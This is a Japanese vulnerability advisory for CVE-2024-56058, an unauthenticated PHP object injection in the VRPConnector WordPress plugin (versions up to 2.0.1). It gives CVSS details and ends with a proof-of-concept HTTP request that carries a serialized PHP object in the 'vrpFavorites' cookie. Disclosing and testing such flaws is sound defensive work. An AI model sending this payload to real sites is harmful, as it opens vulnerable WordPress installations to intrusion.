CVE-2024-56058

VRPConnector <= 2.0.1 - 認証不要のPHPオブジェクトインジェクション

説明

WordPress用プラグインVRPConnectorは、バージョン2.0.1まで（2.0.1を含む）において、信頼できない入力のデシリアライゼーションによりPHPオブジェクトインジェクションの脆弱性があります。このため、認証されていない攻撃者がPHPオブジェクトを注入する可能性があります。脆弱なソフトウェアには既知のPOPチェーンは存在しません。ターゲットシステムにインストールされた追加のプラグインやテーマを介してPOPチェーンが存在する場合、攻撃者は任意のファイルを削除したり、機密データを取得したり、コードを実行したりする可能性があります。

詳細

• 種類: plugin
• スラッグ: vrpconnector
• 影響を受けるバージョン: 2.0.1
• CVSSスコア: 9.8
• CVSS評価: 緊急
• CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-56058
• ステータス: アクティブ

POC

GET / HTTP/1.1
Host: kubernetes.docker.internal:8929
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: vrpFavorites=O:20:"PHP_Object_Injection":0:{}
Upgrade-Insecure-Requests: 1
Priority: u=0, i